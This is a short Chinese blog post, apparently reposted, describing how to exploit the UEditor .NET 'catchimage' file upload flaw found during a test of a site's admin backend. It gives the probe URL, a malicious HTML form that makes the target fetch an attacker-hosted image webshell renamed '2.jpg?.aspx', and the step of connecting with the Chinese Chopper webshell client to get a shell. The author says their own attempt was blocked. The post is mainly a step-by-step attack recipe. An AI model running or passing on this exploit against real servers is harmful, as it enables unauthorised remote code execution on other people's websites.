今天測驗一個專案,進到后臺之后發現使用富文本web編輯器

首先判斷下是否有這個漏洞
訪問如下鏈接 : http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage
如出現

則可嘗試漏洞利用
構造一個惡意的html檔案,action的url是我們攻擊地址
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <inputtype="submit" value="Submit" /> </form>
然后制作一個圖片馬,檔案名改為2.jpg?.aspx上傳至自己的服務器,通過構造的惡意html進行上傳

可以看到頁面回傳狀態和地址
使用菜刀連接
http://xxxxxxxxx/ueditor/net/upload/image/xxxxxx 即可getshell
我的被安全設備攔截了

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/199896.html
標籤:其他
下一篇:資料結構-希爾排序法
